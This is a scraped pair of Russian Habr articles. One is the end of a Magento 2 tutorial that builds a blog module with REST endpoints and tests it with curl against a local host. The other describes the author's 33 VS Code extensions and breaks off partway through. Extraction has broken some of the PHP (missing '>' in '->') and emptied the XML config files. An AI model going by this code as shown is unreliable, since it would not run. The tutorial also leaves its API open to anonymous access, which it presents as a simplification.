$this->setData(PostInterface::AUTHOR_ID, $authorId);
return $this;
}
/**
* @return string
*/
public function getTitle()
{
return $this->getData(PostInterface::TITLE);
}
/**
* @param string $title
* @return $this
*/
public function setTitle(string $title)
{
$this->setData(PostInterface::TITLE, $title);
return $this;
}
/**
* @return string
*/
public function getContent()
{
return $this->getData(PostInterface::CONTENT);
}
/**
* @param string $content
* @return $this
*/
public function setContent(string $content)
{
$this->setData(PostInterface::CONTENT, $content);
return $this;
}
/**
* @return string
*/
public function getCreatedAt()
{
return $this->getData(PostInterface::CREATED_AT);
}
/**
* @param string $createdAt
* @return $this
*/
public function setCreatedAt(string $createdAt)
{
$this->setData(PostInterface::CREATED_AT, $createdAt);
return $this;
}
/**
* @return string
*/
public function getUpdatedAt()
{
return $this->getData(PostInterface::UPDATED_AT);
}
/**
* @param string $updatedAt
* @return $this
*/
public function setUpdatedAt(string $updatedAt)
{
$this->setData(PostInterface::UPDATED_AT, $updatedAt);
return $this;
}
}
```
**AlexPoletaev/Blog/Model/ResourceModel/Post.php**
```
php
namespace AlexPoletaev\Blog\Model\ResourceModel;
use AlexPoletaev\Blog\Api\Data\PostInterface;
use Magento\Framework\Model\ResourceModel\Db\AbstractDb;
/**
* Class Post
* @package AlexPoletaev\Blog\Model\ResourceModel
*/
class Post extends AbstractDb
{
/**
* @var string
*/
const TABLE_NAME = 'alex_poletaev_blog_post';
/**
* Resource initialization
*
* @return void
*/
protected function _construct() //@codingStandardsIgnoreLine
{
$this-_init(self::TABLE_NAME, PostInterface::ID);
}
}
```
**AlexPoletaev/Blog/Model/ResourceModel/Post/Collection.php**
```
php
namespace AlexPoletaev\Blog\Model\ResourceModel\Post;
use AlexPoletaev\Blog\Model\Post;
use AlexPoletaev\Blog\Model\ResourceModel\Post as PostResource;
use Magento\Framework\Model\ResourceModel\Db\Collection\AbstractCollection;
/**
* Class Collection
* @package AlexPoletaev\Blog\Model\ResourceModel\Post
*/
class Collection extends AbstractCollection
{
/**
* @inheritdoc
*/
protected function _construct() //@codingStandardsIgnoreLine
{
$this-_init(Post::class, PostResource::class);
}
}
```
Внимательный читатель заметит, что наша модель как раз реализует созданный ранее интерфейс и все его геттеры и сеттеры.
Заодно реализуем репозиторий и его методы:
**AlexPoletaev/Blog/Model/PostRepository.php**
```
php
namespace AlexPoletaev\Blog\Model;
use AlexPoletaev\Blog\Api\Data\PostInterface;
use AlexPoletaev\Blog\Api\Data\PostSearchResultInterface;
use AlexPoletaev\Blog\Api\Data\PostSearchResultInterfaceFactory;
use AlexPoletaev\Blog\Api\PostRepositoryInterface;
use AlexPoletaev\Blog\Model\ResourceModel\Post as PostResource;
use AlexPoletaev\Blog\Model\ResourceModel\Post\Collection as PostCollection;
use AlexPoletaev\Blog\Model\ResourceModel\Post\CollectionFactory as PostCollectionFactory;
use AlexPoletaev\Blog\Model\PostFactory;
use Magento\Framework\Api\SearchCriteriaInterface;
use Magento\Framework\Exception\NoSuchEntityException;
use Magento\Framework\Exception\StateException;
/**
* Class PostRepository
* @package AlexPoletaev\Blog\Model
*/
class PostRepository implements PostRepositoryInterface
{
/**
* @var array
*/
private $registry = [];
/**
* @var PostResource
*/
private $postResource;
/**
* @var PostFactory
*/
private $postFactory;
/**
* @var PostCollectionFactory
*/
private $postCollectionFactory;
/**
* @var PostSearchResultInterfaceFactory
*/
private $postSearchResultFactory;
/**
* @param PostResource $postResource
* @param PostFactory $postFactory
* @param PostCollectionFactory $postCollectionFactory
* @param PostSearchResultInterfaceFactory $postSearchResultFactory
*/
public function __construct(
PostResource $postResource,
PostFactory $postFactory,
PostCollectionFactory $postCollectionFactory,
PostSearchResultInterfaceFactory $postSearchResultFactory
) {
$this-postResource = $postResource;
$this->postFactory = $postFactory;
$this->postCollectionFactory = $postCollectionFactory;
$this->postSearchResultFactory = $postSearchResultFactory;
}
/**
* @param int $id
* @return PostInterface
* @throws NoSuchEntityException
*/
public function get(int $id)
{
if (!array_key_exists($id, $this->registry)) {
$post = $this->postFactory->create();
$this->postResource->load($post, $id);
if (!$post->getId()) {
throw new NoSuchEntityException(__('Requested post does not exist'));
}
$this->registry[$id] = $post;
}
return $this->registry[$id];
}
/**
* @param \Magento\Framework\Api\SearchCriteriaInterface $searchCriteria
* @return \AlexPoletaev\Blog\Api\Data\PostSearchResultInterface
*/
public function getList(SearchCriteriaInterface $searchCriteria)
{
/** @var PostCollection $collection */
$collection = $this->postCollectionFactory->create();
foreach ($searchCriteria->getFilterGroups() as $filterGroup) {
foreach ($filterGroup->getFilters() as $filter) {
$condition = $filter->getConditionType() ? $filter->getConditionType() : 'eq';
$collection->addFieldToFilter($filter->getField(), [$condition => $filter->getValue()]);
}
}
/** @var PostSearchResultInterface $searchResult */
$searchResult = $this->postSearchResultFactory->create();
$searchResult->setSearchCriteria($searchCriteria);
$searchResult->setItems($collection->getItems());
$searchResult->setTotalCount($collection->getSize());
return $searchResult;
}
/**
* @param \AlexPoletaev\Blog\Api\Data\PostInterface $post
* @return PostInterface
* @throws StateException
*/
public function save(PostInterface $post)
{
try {
/** @var Post $post */
$this->postResource->save($post);
$this->registry[$post->getId()] = $this->get($post->getId());
} catch (\Exception $exception) {
throw new StateException(__('Unable to save post #%1', $post->getId()));
}
return $this->registry[$post->getId()];
}
/**
* @param \AlexPoletaev\Blog\Api\Data\PostInterface $post
* @return bool
* @throws StateException
*/
public function delete(PostInterface $post)
{
try {
/** @var Post $post */
$this->postResource->delete($post);
unset($this->registry[$post->getId()]);
} catch (\Exception $e) {
throw new StateException(__('Unable to remove post #%1', $post->getId()));
}
return true;
}
/**
* @param int $id
* @return bool
*/
public function deleteById(int $id)
{
return $this->delete($this->get($id));
}
}
```
Метод `\AlexPoletaev\Blog\Model\PostRepository::getList()` должен возвращать данные определенного формата, поэтому нам понадобится еще и такой интерфейс:
**AlexPoletaev/Blog/Api/Data/PostSearchResultInterface.php**
```
php
namespace AlexPoletaev\Blog\Api\Data;
use Magento\Framework\Api\SearchResultsInterface;
/**
* Interface PostSearchResultInterface
* @package AlexPoletaev\Blog\Api\Data
*/
interface PostSearchResultInterface extends SearchResultsInterface
{
/**
* @return \AlexPoletaev\Blog\Api\Data\PostInterface[]
*/
public function getItems();
/**
* @param \AlexPoletaev\Blog\Api\Data\PostInterface[] $items
* @return $this
*/
public function setItems(array $items);
}
</code
```
Чтобы проще было тестировать наш модуль, создадим два консольных скрипта, которые добавляют и удаляют тестовые данные из таблицы:
**AlexPoletaev/Blog/Console/Command/DeploySampleDataCommand.php**
```
php
namespace AlexPoletaev\Blog\Console\Command;
use AlexPoletaev\Blog\Api\PostRepositoryInterface;
use AlexPoletaev\Blog\Model\Post;
use AlexPoletaev\Blog\Model\PostFactory;
use Magento\User\Api\Data\UserInterface;
use Magento\User\Model\User;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
/**
* Class DeploySampleDataCommand
* @package AlexPoletaev\Blog\Console\Command
*/
class DeploySampleDataCommand extends Command
{
/**#@+
* @var string
*/
const ARGUMENT_USERNAME = 'username';
const ARGUMENT_NUMBER_OF_RECORDS = 'number_of_records';
/**#@-*/
/**
* @var PostFactory
*/
private $postFactory;
/**
* @var PostRepositoryInterface
*/
private $postRepository;
/**
* @var UserInterface
*/
private $user;
/**
* @param PostFactory $postFactory
* @param PostRepositoryInterface $postRepository
* @param UserInterface $user
*/
public function __construct(
PostFactory $postFactory,
PostRepositoryInterface $postRepository,
UserInterface $user
) {
parent::__construct();
$this-postFactory = $postFactory;
$this->postRepository = $postRepository;
$this->user = $user;
}
/**
* @inheritdoc
*/
protected function configure()
{
$this->setName('alex_poletaev:blog:deploy_sample_data')
->setDescription('Blog: deploy sample data')
->setDefinition([
new InputArgument(
self::ARGUMENT_USERNAME,
InputArgument::REQUIRED,
'Username'
),
new InputArgument(
self::ARGUMENT_NUMBER_OF_RECORDS,
InputArgument::OPTIONAL,
'Number of test records'
),
])
;
parent::configure();
}
/**
* @inheritdoc
*/
protected function execute(InputInterface $input, OutputInterface $output)
{
$username = $input->getArgument(self::ARGUMENT_USERNAME);
/** @var User $user */
$user = $this->user->loadByUsername($username);
if (!$user->getId() && $output->getVerbosity() > 1) {
$output->writeln('User is not found');
return null;
}
$records = $input->getArgument(self::ARGUMENT_NUMBER_OF_RECORDS) ?: 3;
for ($i = 1; $i <= (int)$records; $i++) {
/** @var Post $post */
$post = $this->postFactory->create();
$post->setAuthorId($user->getId());
$post->setTitle('test title ' . $i);
$post->setContent('test content ' . $i);
$this->postRepository->save($post);
if ($output->getVerbosity() > 1) {
$output->writeln('Post with the ID #' . $post->getId() . ' has been created.');
}
}
}
}
```
**AlexPoletaev/Blog/Console/Command/RemoveSampleDataCommand.php**
```
php
namespace AlexPoletaev\Blog\Console\Command;
use AlexPoletaev\Blog\Model\ResourceModel\Post as PostResource;
use Magento\Framework\App\ResourceConnection;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
/**
* Class RemoveSampleDataCommand
* @package AlexPoletaev\Blog\Console\Command
*/
class RemoveSampleDataCommand extends Command
{
/**
* @var ResourceConnection
*/
private $resourceConnection;
/**
* @param ResourceConnection $resourceConnection
*/
public function __construct(
ResourceConnection $resourceConnection
) {
parent::__construct();
$this-resourceConnection = $resourceConnection;
}
/**
* @inheritdoc
*/
protected function configure()
{
$this->setName('alex_poletaev:blog:remove_sample_data')
->setDescription('Blog: remove sample data')
;
parent::configure();
}
/**
* @inheritdoc
*/
protected function execute(InputInterface $input, OutputInterface $output)
{
$connection = $this->resourceConnection->getConnection();
$connection->truncateTable($connection->getTableName(PostResource::TABLE_NAME));
if ($output->getVerbosity() > 1) {
$output->writeln('Sample data has been successfully removed.');
}
}
}
```
Основной «фишкой» Magento 2 является повсеместное использование собственной реализации [Dependency Injection](https://devdocs.magento.com/guides/v2.2/extension-dev-guide/depend-inj.html). Чтобы Маджента знала какому интерфейсу какая соответствует реализация, нам необходимо указать эти зависимости в файле di.xml. Заодно и зарегистрируем в этом файле только что созданные консольные скрипты:
**AlexPoletaev/Blog/etc/di.xml**
```
xml version="1.0"?
AlexPoletaev\Blog\Console\Command\DeploySampleDataCommand
AlexPoletaev\Blog\Console\Command\RemoveSampleDataCommand
```
Теперь регистрируем роуты для REST API, делается это в файле webapi.xml:
**AlexPoletaev/Blog/etc/webapi.xml**
```
xml version="1.0"?
```
Здесь мы указываем Мадженте какой интерфейс и какой метод из этого интерфейса использовать при запросе на определенный URL и с определенным http методом (POST, GET и тд.). Также, в целях упрощения, используется `anonymous` resource, что позволяет абсолютно любому человеку постучаться в наш API, в противном случае надо настраивать права доступа (ACL).
#### Кульминация
Все дальнейшие действия подразумевают, что у вас включен developer mode. Это позволяет избежать лишних манипуляций с деплоем статик контента и DI компиляцией.
Регистрируем наш новый модуль, запускаем команду: `php bin/magento setup:upgrade`.
Проверяем, что создалась новая таблица *alex\_poletaev\_blog\_post*.
Далее загружаем тестовые данные, используя наш кастомный скрипт:
```
php bin/magento -v alex_poletaev:blog:deploy_sample_data admin
```
Параметр *admin* в данном скрипте это *username* из таблицы *admin\_user* (у вас он может отличаться), одним словом, юзер из админки, который пропишется в колонку author\_id.
Теперь можно приступать к тестированию. Для тестов я использовал Magento 2.2.4, домен `http://m224ce.local/`.
Один из способов потестить REST API — это открыть `http://m224ce.local/swagger` и воспользоваться функционалом swagger-а, но следует помнить, метод `getList` там работает некорректно. Я также проверил все методы с помощью curl, примеры:
Получить статью с *id = 2*
```
curl -X GET -H "Accept: application/json" "http://m224ce.local/rest/all/V1/blog/posts/2"
```
Ответ:
```
{"id":2,"author_id":1,"title":"test title 2","content":"test content 2","created_at":"2018-06-06 21:35:54","updated_at":"2018-06-06 21:35:54"}
```
Получить список статей, у которых *author\_id = 2*
```
curl -g -X GET -H "Accept: application/json" "http://m224ce.local/rest/all/V1/blog/posts?searchCriteria[filterGroups][0][filters][0][field]=author_id&searchCriteria[filterGroups][0][filters][0][value]=1&searchCriteria[filterGroups][0][filters][0][conditionType]=eq"
```
Ответ:
```
{"items":[{"id":1,"author_id":1,"title":"test title 1","content":"test content 1","created_at":"2018-06-06 21:35:54","updated_at":"2018-06-06 21:35:54"},{"id":2,"author_id":1,"title":"test title 2","content":"test content 2","created_at":"2018-06-06 21:35:54","updated_at":"2018-06-06 21:35:54"},{"id":3,"author_id":1,"title":"test title 3","content":"test content 3","created_at":"2018-06-06 21:35:54","updated_at":"2018-06-06 21:35:54"}],"search_criteria":{"filter_groups":[{"filters":[{"field":"author_id","value":"1","condition_type":"eq"}]}]},"total_count":3}
```
Удалить статью с *id = 3*
```
curl -X DELETE -H "Accept: application/json" "http://m224ce.local/rest/all/V1/blog/posts/3"
```
Ответ:
```
true
```
Сохраняем новую статью
```
curl -X POST -H "Content-Type: application/json" -H "Accept: application/json" -d '{"post": {"author_id": 1, "title": "test title 4", "content": "test content 4"}}' "http://m224ce.local/rest/all/V1/blog/posts"
```
Ответ:
```
{"id":4,"author_id":1,"title":"test title 4","content":"test content 4","created_at":"2018-06-06 21:44:24","updated_at":"2018-06-06 21:44:24"}
```
Обратите внимание, что для запроса с http методом POST обязательно надо передать ключ *post*, что на самом деле соответствует входному параметру ($post) для метода
```
\AlexPoletaev\Blog\Api\PostRepositoryInterface::save()
```
#### Развязка
Для тех, кому интересно, что происходит во время запроса и как Маджента его обрабатывает, ниже я приведу несколько ссылок на методы с моими комментариями. Если что-то не работает, то эти методы надо дебажить в первую очередь.
Контроллер, отвечающий за обработку запроса
[\Magento\Webapi\Controller\Rest::dispatch()](https://github.com/magento/magento2/blob/2.2.4/app/code/Magento/Webapi/Controller/Rest.php#L229)
Далее вызывается
[\Magento\Webapi\Controller\Rest::processApiRequest()](https://github.com/magento/magento2/blob/2.2.4/app/code/Magento/Webapi/Controller/Rest.php#L320)
Внутри `processApiRequest` вызывается много других методов, но следующий самый важный
[\Magento\Webapi\Controller\Rest\InputParamsResolver::resolve()](https://github.com/magento/magento2/blob/2.2.4/app/code/Magento/Webapi/Controller/Rest/InputParamsResolver.php#L84)
[\Magento\Webapi\Controller\Rest\Router::match()](https://github.com/magento/magento2/blob/2.2.4/app/code/Magento/Webapi/Controller/Rest/Router.php#L42) — определяется конкретный роут (внутри через `\Magento\Webapi\Model\Rest\Config::getRestRoutes()` метод по данным из реквеста вытаскиваются все подходящие роуты). Объект роута содержит все необходимые данные, чтобы обработать запрос — класс, метод, права доступа и т.д.
[\Magento\Framework\Webapi\ServiceInputProcessor::process()](https://github.com/magento/magento2/blob/2.2.4/lib/internal/Magento/Framework/Webapi/ServiceInputProcessor.php#L117)
— используется `\Magento\Framework\Reflection\MethodsMap::getMethodParams()`, где через рефлексию вытаскиваются параметры метода
[\Magento\Framework\Webapi\ServiceInputProcessor::convertValue()](https://github.com/magento/magento2/blob/2.2.4/lib/internal/Magento/Framework/Webapi/ServiceInputProcessor.php#L316) — несколько вариантов конвертирования массива в DataObject или в массив из DataObject
[\Magento\Framework\Webapi\ServiceInputProcessor::\_createFromArray()](https://github.com/magento/magento2/blob/2.2.4/lib/internal/Magento/Framework/Webapi/ServiceInputProcessor.php#L156) — непосредственно конвертация, где через рефлексию проверяется наличие геттеров и сеттеров (помните, я говорил выше, что мы к ним вернемся?) и то, что они имеют публичную область видимости. Далее объект заполняется данными через сеттеры.
В самом конце, в методе
[\Magento\Webapi\Controller\Rest::processApiRequest()](https://github.com/magento/magento2/blob/2.2.4/app/code/Magento/Webapi/Controller/Rest.php#L320), через `call_user_func_array` вызывается метод объекта репозитория.
#### Эпилог
[Репозиторий модуля на гитхабе](https://github.com/alexpoletaev/magento2-blog-demo)
Установить можно двумя способами:
1) Через composer. Для этого добавьте следующий объект к массиву `repositories` в файле composer.json
```
{
"type": "git",
"url": "https://github.com/alexpoletaev/magento2-blog-demo"
}
```
Далее набрать в терминале следующую команду:
```
composer require alexpoletaev/magento2-blog-demo:dev-master
```
2) Скачать файлы модуля и вручную скопировать их в директорию `app/code/AlexPoletaev/Blog`
Независимо от того, какой способ вы выбрали, в конце надо запустить апгрейд:
```
php bin/magento setup:upgrade
```
Надеюсь, эта статья окажется кому-нибудь полезной. Если есть какие-либо замечания, пожелания или вопросы, то добро пожаловать в комментарии. Спасибо за внимание. | https://habr.com/ru/post/413463/ | null | ru | null |
# Рассказ о 33 расширениях для VS Code, об их разработке и об управлении ими
Автор материала, перевод которого мы сегодня публикуем, создал 33 расширения для VS Code. Он решил поделиться с теми, кому нравится этот редактор, методикой разработки и поддержки расширений. Кроме того, он кратко рассказал о своих проектах. Возможно, вы найдёте среди них что-нибудь такое, что вам пригодится.
[](https://habr.com/company/ruvds/blog/429550/)
Как писать расширения
---------------------
Я стремлюсь к продуктивной работе и люблю автоматизацию, поэтому я выработал чётко организованный процесс разработки расширений для VS Code. Расскажу об основных составных частях этого процесса.
### ▍Инструменты
Я написал очень простой [инструмент](https://github.com/fabiospampinato/template), который помогает быстро начинать работу над новыми проектами, используя шаблон. Соответствующая утилита работает так:
* На вход она принимает папку (это и есть то, что называется «шаблоном»).
* Она обрабатывает все файлы средствами пакета [handlebars](https://www.npmjs.com/package/handlebars), задавая в процессе обработки вопросы о том, что должно быть подставлено в качестве каждого найденного местозаполнителя (наподобие `{{name}}`).
* В результате она формирует новую папку, файлы в которой содержат то, что было введено в ответ на её вопросы.
Я подумывал о том, чтобы использовать для работы с шаблонами утилиту [yeoman](https://github.com/yeoman/yo), но, для моих нужд, она кажется неоправданно сложной. Я пользовался инструментом [khaos](https://github.com/segmentio/khaos), но он не поддерживается и не обновляет шаблоны автоматически, а обновлять их вручную всякий раз, когда мне надо их использовать, не особенно удобно.
### ▍Шаблон
Вот как я, пользуясь шаблоном [template-vscode-extension](https://github.com/fabiospampinato/template-vscode-extension), приступаю к разработке нового расширения для VS Code.

*Создание нового проекта*
После того, как ответы на вопросы программы введены, в моём распоряжении оказывается рабочее расширение, нечто вроде «Hello, world!» для VS Code. Шаблон включает в себя множество вспомогательных функций, которыми, как оказалось, я часто пользуюсь при разработке расширений. В частности, шаблон поддерживает загрузку пользовательского конфигурационного файла из папки `.vscode`, автоматическую регистрацию команд, он умеет находить текущую корневую директорию на основе активного файла и решать другие подобные задачи.
Если бы я мог повернуть время вспять, я бы, вероятно, поместил бы все эти вспомогательные функции в самостоятельный пакет, в нечто вроде `vscode-utils`, вместо того, чтобы делать копии этих функций в каждом проекте по разработке расширения. Но тогда я, к сожалению, не знал, что создам десятки расширений. Теперь мне приходится тратить определённое время на то, чтобы обновлять соответствующий код во всех проектах моих расширений.
Если вы планируете заняться разработкой расширений для VS Code, я посоветовал бы вам создать собственный шаблон, возможно, взяв за основу мой.
### ▍Полезная документация
В процессе разработки я всегда держу под рукой [документацию](https://code.visualstudio.com/docs/extensionAPI/vscode-api) по API VS Code. Поначалу работать с этим документом, представляющим собой огромную страницу, не особенно удобно, но если вы уделите некоторое время на то, чтобы бегло его просмотреть, если поймёте, какие API вам доступны, пользоваться им будет комфортно. В целом, могу отметить, что меня набор доступных API вполне устраивает.
И, кстати, если вы хотите разрабатывать расширения для VS Code, вам будет крайне полезно почитать [этот](https://code.visualstudio.com/docs/extensionAPI/overview) раздел документации.
### ▍О разработанных мной расширениях
Я разрабатываю расширения для решения различных задач, о них мы поговорим ниже. Кроме того, некоторые из этих расширений помогают мне разрабатывать другие расширения.
Мои расширения
--------------
Как я уже говорил, я стремлюсь к продуктивности, поэтому многие мои расширения направлены на повышение производительности труда. Я стараюсь не заниматься постоянным изобретением велосипеда, пытаюсь добиваться чёткого разделения функций различных расширений для того, чтобы их совместное использование не вызывало бы проблем.
Не знаю, хорошо это или плохо, но мне нравится создавать расширения для VS Code. К тому же, поток задач, которые можно автоматизировать, не иссякает. Именно поэтому я, после того, как написал первое расширение, сделал второе, потом третье, дойдя, в итоге, до тридцать третьего.
Сейчас я в двух словах расскажу о моих расширениях. Подробности о них вы можете найти на их страницах.
### ▍Расширения для создания расширений
#### №1. Debug Manager
Расширение [Debug Manager](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-debug-launcher) позволяет запускать отладку, даже из терминала, без необходимости создания задач или конфигурационных файлов. Я создал это расширение из-за того, что мне не хотелось засорять репозитории ненужными файлами (да и кто, например, пользуется задачами?). Я полагаю, что запуск отладчика из терминала — это возможность настолько полезная, что её стоило бы [включить](https://github.com/Microsoft/vscode/issues/10979#issuecomment-434541942) в сам VS Code.

*Запуск отладчика из терминала*
#### №2. StatusBar Debugger
Расширение [StatusBar Debugger](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-statusbar-debugger) добавляет средства управления отладкой в строку состояния программы. Это гораздо удобнее, чем стандартная [панель](https://github.com/Microsoft/vscode/issues/9093) отладки. Кроме того, если бы VS Code давал бы [больше данных по отладке](https://github.com/Microsoft/vscode/issues/9093), моё расширение было бы ещё лучше.
#### №3. Install .VSIX
Расширение [Install .VSIX](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-install-vsix) позволяет устанавливать `.vsix`-файлы прямо из панели `Проводник` (Explorer). Причиной появления этого расширения стал тот факт, что стандартная процедура установки таких файлов [неудобна](https://github.com/Microsoft/vscode/issues/31079#issuecomment-324947324).
#### №4. Bump
Расширение [Bump](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-bump) позволяет увеличивать номер версии проекта и вносить новые данные в журнал изменений. Этот инструмент действует, следуя собственной внутренней логике, но поддаётся настройке. Создал я его из-за того, что любому приличному расширению нужен журнал изменений, но это не означает, что разработчик такого расширения должен вносить записи в журнал вручную. Это — одно из моих любимых расширений. Возможно, я создам на его основе инструмент командной строки, так как мне хотелось бы, чтобы когда-нибудь оно позволило бы автоматизировать и GitHub-релизы.

*Использование расширения Bump*
#### №5. Optimize Images
Расширение [Optimize Images](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-optimize-images) позволяет оптимизировать изображения, имеющиеся в проекте, с использованием внешнего приложения, выбранного пользователем. Одна команда — и дело сделано.
### ▍Управление проектами
#### №6. Projects+
Расширение [Projects+](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-projects-plus) служит для управления проектами. Оно обладает богатыми возможностями, поддаётся настройке, автоматически находит проекты. Одним из наиболее широко используемых расширений такого рода является [Project Manager](https://marketplace.visualstudio.com/items?itemName=alefragnani.project-manager), но у меня около сотни репозиториев, и мне нужны подходящие инструменты для управления ими, одним из которых является поддержка групп неограниченного уровня вложенности.

*Работа с расширением Project+*
### ▍Управление todo-списками
#### №7. Todo+
Расширение Todo+ упрощает работу с todo-списками. Это мощный инструмент, лёгкий в использовании и поддающийся настройке. Если вам не нужна подсветка синтаксиса для `TODO`-файлов, или если вас, возможно, устроит стандартная встроенная подсветка, можете попробовать неплохое расширение [Todo Tree](https://marketplace.visualstudio.com/items?itemName=Gruntfuggly.todo-tree).

*Подсветка синтаксиса с использованием Todo+ и сведения уровня проекта*
#### №8. Highlight
Расширение [Highlight](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-highlight) представляет собой продвинутое средство подсветки синтаксиса, основанное на регулярных выражениях. Оно пригодится для работы с todo-списками, аннотациями и прочим подобным. Весьма популярным в этой сфере является расширение [TODO Highlight](https://marketplace.visualstudio.com/items?itemName=wayou.vscode-todo-highlight), но моё расширение является более универсальным и гораздо более мощным. Кроме того, вероятно, оно работает быстрее.
#### №9. Markdown Todo
Расширение [Markdown Todo](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-markdown-todo) позволяет упростить работу с todo-списками внутри markdown-файлов. В нём нет ничего особенного, но оно позволяет пользоваться возможностями Todo+ внутри markdown-файлов.
#### №10. Projects+ Todo+
Расширение [Projects+ Todo+](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-projects-plus-todo-plus) позволяет анализировать проекты, так сказать, с высоты птичьего полёта, видеть результат агрегации всех todo-файлов в одном файле. Если вы используете, для управления проектами, расширение Projects+, а для работы с todo-списками — Todo+, то, благодаря этому расширению, вы сможете собрать todo-списки из всех (или из некоторых) проектов в одном месте.
### ▍Расширения для открытия файлов
Мне важна возможность быстрого переключения между различными приложениями или веб-страницами. Именно поэтому я создал серию расширений для VS Code, упрощающих решение подобных задач.
#### №11. Open in Application
Расширение [Open in Application](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-open-in-application) позволяет открывать произвольные файлы в заданном по умолчанию приложении или в том приложении, которое решит использовать разработчик. Это — универсальное расширение.
#### №12. Open in Browsers
Расширение [Open in Browsers](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-open-in-browsers) добавляет в редактор команды, позволяющие открыть текущий файл или проект в любом браузере или даже сразу во всех доступных браузерах.
#### №13. Open in Code
Расширение [Open in Code](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-open-in-code) упрощает переключение между VS Code и VS Code Insiders.
#### №14. Open in Finder
Расширение [Open in Finder](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-open-in-finder) предназначено для открытия текущего файла или проекта в файловом менеджере Finder.
#### №15. Open in GitHub
Расширение [Open in GitHub](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-open-in-github) позволяет открывать текущий проект или файл на github.com. Существует множество расширений для решения этой задачи, но, когда я их опробовал, оказалось, что в них слишком много функций, которые мне не нужны.
#### №16. Open in GitTower
Расширение [Open in GitTower](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-open-in-gittower) добавляет в редактор команду для открытия текущего проекта в [GitTower](https://www.git-tower.com/).
#### №17. Open in Marketplace
Расширение [Open in Marketplace](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-open-in-marketplace) оснащает редактор командой для открытия текущего проекта в [каталоге](https://marketplace.visualstudio.com/) расширений для VS Code.
#### №18. Open in node\_modules
Расширение [Open in node\_modules](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-open-in-node-modules) позволяет находить в папке `node_modules` модули, соответствующие выделенному тексту или некоей произвольной строке, и открывать их папки. Оно полезно для тех случаев, когда разработчик хочет лучше разобраться с используемыми им модулями.
#### №19. Open in NPM
Расширение [Open in NPM](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-open-in-npm) позволяет открывать страницы модулей в каталоге npm. Его удобно использовать для просмотра справочной информации модулей.
#### №20. Open in Ship
Расширение [Open in Ship](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-open-in-ship) добавляет в редактор команду для открытия текущего проекта в Ship. К сожалению, Ship прекратил работу. Поэтому теперь мне, для того, чтобы не забыть о поступающих мне сведениях о проблемах в моих проектах, приходится пользоваться специальным листком с напоминаниями в [Noty](https://github.com/fabiospampinato/noty).
#### №21. Open in Terminal
Расширение [Open in Terminal](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-open-in-terminal) упрощает открытие текущего проекта в терминале.
#### №22. Open in Transmit
Расширение [Open in Transmit](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-open-in-transmit) позволяет открывать текущий файл или проект в [Transmit](https://panic.com/transmit/).
### ▍Разное
#### №23. Browser Refresh
Расширение [Browser Refresh](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-browser-refresh) позволяет обновлять страницу в браузере по нажатию ⌘R прямо из VS Code, без необходимости переключения на браузер. Это расширение пригодится в тех случаях, когда возможностью интерактивной перезагрузки пользоваться нельзя, и тогда, когда вам не нужно, чтобы `browser-sync` обновлял бы страницу [без необходимости в этом](https://github.com/BrowserSync/browser-sync/issues/1527).
#### №24. Commands
Расширение [Commands](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-commands) позволяет вызывать произвольные команды из строки состояния. Поддерживается передача аргументов.

*Пользовательские команды, созданные средствами Commands*
#### №25. Diff
Расширение [Diff](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-diff) позволяет сравнивать открытые файлы. Я создал это расширение из-за того, что конструкция `code-diff path1 path2` работает слишком медленно.
#### №26. Git File History
Расширение [Git File History](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-git-history) упрощает анализ отличий текущего файла от его предыдущей версии. Существует множество расширений для решения этой задачи, но когда я их пробовал, они оказывались либо переполненными ненужными мне возможностями, либо нерабочими.
#### №27. GitHub Notifications
Расширение [GitHub Notifications](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-github-notifications-bell), безопасное и поддающееся настройке, предназначено для вывода в строку состояния сведений об уведомлениях на GitHub.
#### №28. Тема Monokai Night
[Monokai Night Theme](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-monokai-night) — это минималистичная тёмная тема, основанная на теме Monokai. Создал я её из-за того, что не смог подобрать то, что меня бы устраивало, из существующих тем.

*Тема Monokai Night*
#### №29. No [Unsupported]
Расширение [No [Unsupported]](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-no-unsupported) предназначено для удаления строки «[Unsupported]» из заголовка редактора. Это расширение уже устарело, поэтому вместо него я рекомендую [Fix VSCode Checksums](https://marketplace.visualstudio.com/items?itemName=lehni.vscode-fix-checksums). К несчастью, даже после [этого](https://github.com/Microsoft/vscode/issues/30556) и [этого](https://github.com/Microsoft/vscode/issues/56929) обсуждений надоедливая надпись «[Unsupported]» так никуда и не делась.
#### №30. Open Multiple Files
Расширение [Open Multiple Files](https://marketplace.visualstudio.com/items?itemName=fabiospampinato.vscode-open-multiple-files) позволяет одновременно открывать все файлы в некоей папке. При необходимости файлы можно фильтровать по шаблону.
#### №31. Search — Open All Results
